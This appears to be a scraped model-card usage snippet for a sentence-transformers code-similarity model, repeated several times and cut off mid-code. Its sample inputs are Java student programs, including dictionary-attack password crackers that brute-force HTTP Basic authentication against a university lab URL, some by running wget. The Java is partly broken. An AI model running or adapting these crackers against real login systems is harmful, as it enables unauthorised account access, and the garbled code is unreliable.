null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                